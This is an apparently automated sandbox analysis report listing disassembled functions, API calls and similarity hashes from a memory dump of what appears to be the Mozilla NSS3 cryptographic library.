TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C549E71,?,?,6C55F03D), ref: 6C5629E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C549E71,?), ref: 6C5629F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C549E71,?), ref: 6C562A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C549E71), ref: 6C562A13

Part of subcall function 6C5EDD70: TlsGetValue.KERNEL32 ref: 6C5EDD8C
Part of subcall function 6C5EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C5EDDB4

PR_Unlock.NSS3(?), ref: 6C562A6A
TlsGetValue.KERNEL32 ref: 6C562A98
EnterCriticalSection.KERNEL32(?), ref: 6C562AAC
PL_HashTableLookup.NSS3(?,?), ref: 6C562ABC
PR_Unlock.NSS3(?), ref: 6C562AC9
TlsGetValue.KERNEL32 ref: 6C562B3D
EnterCriticalSection.KERNEL32(?), ref: 6C562B51
PL_HashTableLookup.NSS3(?,6C549E71), ref: 6C562B61
PR_Unlock.NSS3(?), ref: 6C562B6E

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: 2309c01636296f6c4fe8e91715e8d8f598417cd9fdc8aee4cef179c8246b6848
Instruction ID: 90a3f96de752a71c4ab8d36c457d2f9d78f1aabcf04704c499376c6ba836d3dd
Opcode Fuzzy Hash: 2309c01636296f6c4fe8e91715e8d8f598417cd9fdc8aee4cef179c8246b6848
Instruction Fuzzy Hash: BE71F376900205EBDB109F26DC848AA7B74EF45358F198525EC1C9BB22FB31ED54CBD1

Function 6C558DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C558E22
EnterCriticalSection.KERNEL32(?), ref: 6C558E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C558E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C558E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C558E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C558EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C558EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C558EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C558F00
free.MOZGLUE(?), ref: 6C558F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C558F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C558F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C558F5B
PR_Unlock.NSS3(?), ref: 6C558F72
PR_Unlock.NSS3(?), ref: 6C558F82

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 5d5cc84f52dcc3976ab21eab61700892bfeb2c5840c46491e2ad85d8c1cc1299
Instruction ID: 428bd83178c948420214a4de15e4d3dd81738d9d14c0d8bc1d84e046e89b4943
Opcode Fuzzy Hash: 5d5cc84f52dcc3976ab21eab61700892bfeb2c5840c46491e2ad85d8c1cc1299
Instruction Fuzzy Hash: 985106B2E40215AFDB009F68CC8496EB7B9EF45358F54452BE8089B700E732ED65C7E6

Function 6C650FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C651000

Part of subcall function 6C609BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C531A48), ref: 6C609BB3
Part of subcall function 6C609BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C531A48), ref: 6C609BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C651016

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

PR_Unlock.NSS3(?), ref: 6C651021

Part of subcall function 6C5EDD70: TlsGetValue.KERNEL32 ref: 6C5EDD8C
Part of subcall function 6C5EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C5EDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C651046
PR_Unlock.NSS3(?), ref: 6C65106B
PR_Lock.NSS3 ref: 6C651079
PR_Unlock.NSS3 ref: 6C651096
free.MOZGLUE(?), ref: 6C6510A7
free.MOZGLUE(?), ref: 6C6510B4
PR_DestroyCondVar.NSS3(?), ref: 6C6510BF
PR_DestroyCondVar.NSS3(?), ref: 6C6510CA
PR_DestroyCondVar.NSS3(?), ref: 6C6510D5
PR_DestroyCondVar.NSS3(?), ref: 6C6510E0
PR_DestroyLock.NSS3(?), ref: 6C6510EB
free.MOZGLUE(?), ref: 6C651105

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 14312a03b00b0471a2132dfcffe341f39773a3de442fe4c883317f0713b3b0aa
Instruction ID: 5744d9c3a8d1ded3ad3e2a6f4fc24e9183ebe0dd8e2bb337d66237da32e70674
Opcode Fuzzy Hash: 14312a03b00b0471a2132dfcffe341f39773a3de442fe4c883317f0713b3b0aa
Instruction Fuzzy Hash: DD318AB5A00401EBD702AF55ED81A45BB72BF45318F584134E80952F61EB72FD78DBCA

Function 6C5925F0 Relevance: 21.4, APIs: 8, Strings: 6, Instructions: 403stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C59A0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C56A5DF,?,00000000,6C5428AD,00000000,?,6C56A5DF,?,object), ref: 6C59A0C0
Part of subcall function 6C59A0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C56A5DF,?,00000000,6C5428AD,00000000,?,6C56A5DF,?,object), ref: 6C59A0E8

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C592834
memcmp.VCRUNTIME140(00000000,00000020,00000020,?,?,?,?,?,?,?,?), ref: 6C59284B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C592A98
memcmp.VCRUNTIME140(00000000,?,00000020,?,?,?,?,?,?,?,?,?,?), ref: 6C592AAF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C592BDC
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C592BF3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C592D23
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?), ref: 6C592D34

Strings

model, xrefs: 6C592C06
token, xrefs: 6C5925FA
manufacturer, xrefs: 6C59285E
, xrefs: 6C592A8E, 6C592AAB
OQVl, xrefs: 6C5925F7, 6C5925FF, 6C592863, 6C592AC7, 6C592C0B
serial, xrefs: 6C592AC2

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: memcmpstrlen$strcmp
String ID: $OQVl$manufacturer$model$serial$token
API String ID: 2407968032-3665616229
Opcode ID: 8736debbf40fafd8e4240a1944bd28270b03ae53bc93cc79e4d4c34450b5ddde
Instruction ID: ab995f0897d4a4ad806b9b3ae2f0acecdcef20b2690ecae8150cc1485ece49d8
Opcode Fuzzy Hash: 8736debbf40fafd8e4240a1944bd28270b03ae53bc93cc79e4d4c34450b5ddde
Instruction Fuzzy Hash: 4C02ADB2E0C3C96EF7318622CC8CBE56AE09B0631CF4D15F5D94D4FAA3C6AC49899751

Function 6C58EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C58EE0B

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C58EEE1

Part of subcall function 6C581D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C581D7E
Part of subcall function 6C581D50: EnterCriticalSection.KERNEL32(?), ref: 6C581D8E
Part of subcall function 6C581D50: PR_Unlock.NSS3(?), ref: 6C581DD3

TlsGetValue.KERNEL32 ref: 6C58EE51
EnterCriticalSection.KERNEL32(?), ref: 6C58EE65
PR_Unlock.NSS3(?), ref: 6C58EEA2
free.MOZGLUE(?), ref: 6C58EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C58EED0
PR_Unlock.NSS3(?), ref: 6C58EF48
free.MOZGLUE(?), ref: 6C58EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C58EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C58EFA4
free.MOZGLUE(?), ref: 6C58EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C58F055
free.MOZGLUE(?), ref: 6C58F060

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: c226b000939be873caec790c522a8b769d2b980eb910a93a50099a374230cd69
Instruction ID: 1d531880940db48b5a7c235699bfadaeba3d3111ba1aef77662359775b79b301
Opcode Fuzzy Hash: c226b000939be873caec790c522a8b769d2b980eb910a93a50099a374230cd69
Instruction Fuzzy Hash: 28818EB5E01219ABDF00DFA5DC85AEE7BB5BF48318F140024E919A7711E771ED24CBA1

Function 6C554CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C554D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C554D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C554DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C554E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C554E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C554E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C554E85
DER_Encode_Util.NSS3(?,?,6C6A05A4,00000000), ref: 6C554EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C554F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C554F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C554F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C554F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C554F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C554FC8

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: ba134d015b62c1fd0354ba602752fef81765b9aa634e480a04b2c33e20863ee3
Instruction ID: a8c1b186969164908baf97fb5d9ddbe9d2ad76dcb159e8536df8d657a5d83a4a
Opcode Fuzzy Hash: ba134d015b62c1fd0354ba602752fef81765b9aa634e480a04b2c33e20863ee3
Instruction Fuzzy Hash: D181A171A083019FE701CF69DC80B9BB7E4AF85308F54892AF959DB740E731E925CB92

Function 6C550470 Relevance: 21.2, APIs: 14, Instructions: 206timeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5504B7

Part of subcall function 6C5A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1000
Part of subcall function 6C5A0FF0: PR_NewLock.NSS3(?,00000800,6C53EF74,00000000), ref: 6C5A1016
Part of subcall function 6C5A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5487ED,00000008,?,00000800,6C53EF74,00000000), ref: 6C5A102B

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C550539

Part of subcall function 6C5A1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C5488A4,00000000,00000000), ref: 6C5A1228
Part of subcall function 6C5A1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C5A1238
Part of subcall function 6C5A1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C5488A4,00000000,00000000), ref: 6C5A124B
Part of subcall function 6C5A1200: PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0,00000000,00000000,00000000,?,6C5488A4,00000000,00000000), ref: 6C5A125D
Part of subcall function 6C5A1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C5A126F
Part of subcall function 6C5A1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C5A1280
Part of subcall function 6C5A1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C5A128E
Part of subcall function 6C5A1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C5A129A
Part of subcall function 6C5A1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C5A12A1

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C55054A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C55056D
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5505CA
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C5505EA
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6C5505FD
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6C550621
PR_EnterMonitor.NSS3 ref: 6C55063E
PR_ExitMonitor.NSS3 ref: 6C550668
CERT_DestroyCertificate.NSS3(?), ref: 6C550697
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5506AC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5506CC
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5506DA

Part of subcall function 6C54E6B0: PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6C5504DC,?,?), ref: 6C54E6C9
Part of subcall function 6C54E6B0: PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6C5504DC,?,?), ref: 6C54E6D9
Part of subcall function 6C54E6B0: memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6C5504DC,?,?), ref: 6C54E6F4
Part of subcall function 6C54E6B0: SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5504DC,?), ref: 6C54E703
Part of subcall function 6C54E6B0: CERT_FindCertIssuer.NSS3(?,?,6C5504DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C54E71E

Part of subcall function 6C54F660: PR_EnterMonitor.NSS3(6C55050F,?,00000001,?,?,?), ref: 6C54F6A8
Part of subcall function 6C54F660: PR_Now.NSS3(?,?,?,00000001,?,?,?), ref: 6C54F6C1
Part of subcall function 6C54F660: PR_ExitMonitor.NSS3(?,?,?,00000001,?,?,?), ref: 6C54F7C8

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$ArenaArena_ErrorFree$Monitor$EnterPool$CriticalExitSectionfree$AlgorithmAlloc_CallCertCertificateClearDeleteDestroyFindGeneralizedInitIssuerLockMark_OnceTimeTime_UnlockValuecallocmemset
String ID:
API String ID: 2470852775-0
Opcode ID: 0fc15d3edaa005dfe34e3a8107910e064e9bdbf20e4c5736f4726383c9d2f0be
Instruction ID: 85b313b57652ff6deb79569cfb57aab885626b2cd70bd260bab250508a4a947e
Opcode Fuzzy Hash: 0fc15d3edaa005dfe34e3a8107910e064e9bdbf20e4c5736f4726383c9d2f0be
Instruction Fuzzy Hash: DD61CE71A043419BEB10CE69DC40B9B77E4AFC435CF50492BF95997B92E730E928CB92

Function 6C588F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C589582), ref: 6C588F5B

Part of subcall function 6C59BE30: SECOID_FindOID_Util.NSS3(6C55311B,00000000,?,6C55311B,?), ref: 6C59BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C588F6A

Part of subcall function 6C5A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1000
Part of subcall function 6C5A0FF0: PR_NewLock.NSS3(?,00000800,6C53EF74,00000000), ref: 6C5A1016
Part of subcall function 6C5A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5487ED,00000008,?,00000800,6C53EF74,00000000), ref: 6C5A102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C588FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C588FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C66D820,6C589576), ref: 6C588FF9
DER_GetInteger_Util.NSS3(?), ref: 6C58901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C58903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C589062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C5890A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C5890CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C5890F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C58912D
free.MOZGLUE(00000000), ref: 6C589136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C589145

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 6f5782a6303c58c794ec81f3005ffb4cbfbc4c8a94db421dca410799ce3e0722
Instruction ID: 2a878f0b9581c6651441e66eefb9ce162e0c726521d35b9999d2c5b37bee6e58
Opcode Fuzzy Hash: 6f5782a6303c58c794ec81f3005ffb4cbfbc4c8a94db421dca410799ce3e0722
Instruction Fuzzy Hash: 7A5103B2A092509BEB00CF29DC81B9BB7E9EF84318F144929E855D7741E731E949CBD3

Function 6C654960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,6C658061,?,?,?,?), ref: 6C65497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6C65499E
GetLastError.KERNEL32(?,?,6C658061,?,?,?,?), ref: 6C6549AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6C658061,?,?,?,?), ref: 6C6549C2

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6C658061,?,?,?,?), ref: 6C6549D6
CreateSemaphoreA.KERNEL32(00000000,6C658061,7FFFFFFF,?), ref: 6C654A19
GetLastError.KERNEL32(?,?,?,?,6C658061,?,?,?,?), ref: 6C654A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6C658061,?,?,?,?), ref: 6C654A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6C658061,?,?,?,?), ref: 6C654A52
GetLastError.KERNEL32(?,?,?,?,6C658061,?,?,?,?), ref: 6C654A5A
free.MOZGLUE(00000000,?,?,?,?,?,6C658061,?,?,?,?), ref: 6C654A6A
CreateSemaphoreA.KERNEL32(?,6C658061,7FFFFFFF,?), ref: 6C654A9A
free.MOZGLUE(?,?,?,?,?,6C658061,?,?,?,?), ref: 6C654AAE
free.MOZGLUE(?,?,?,?,?,6C658061,?,?,?,?), ref: 6C654AC2

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: aa044a867a9176598dcf7b38208d8b26501e0238f1569eb16c7a0709ab1e49c1
Instruction ID: 5e44741762b25d2c8ecce77d36d5898aaebb8703b9c26b294255a36649d23afa
Opcode Fuzzy Hash: aa044a867a9176598dcf7b38208d8b26501e0238f1569eb16c7a0709ab1e49c1
Instruction Fuzzy Hash: 6B41FC74B00206ABDF00EFA9CC85B9A7BB4AF4A355F600124F91AE7744DB71D824C76D

Function 6C65C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6C65C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65C8DA
malloc.MOZGLUE(00000001), ref: 6C65C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C65C8F8
PR_NewLock.NSS3 ref: 6C65C909
PR_NewCondVar.NSS3(00000000), ref: 6C65C918
PR_NewCondVar.NSS3(00000000), ref: 6C65C92A

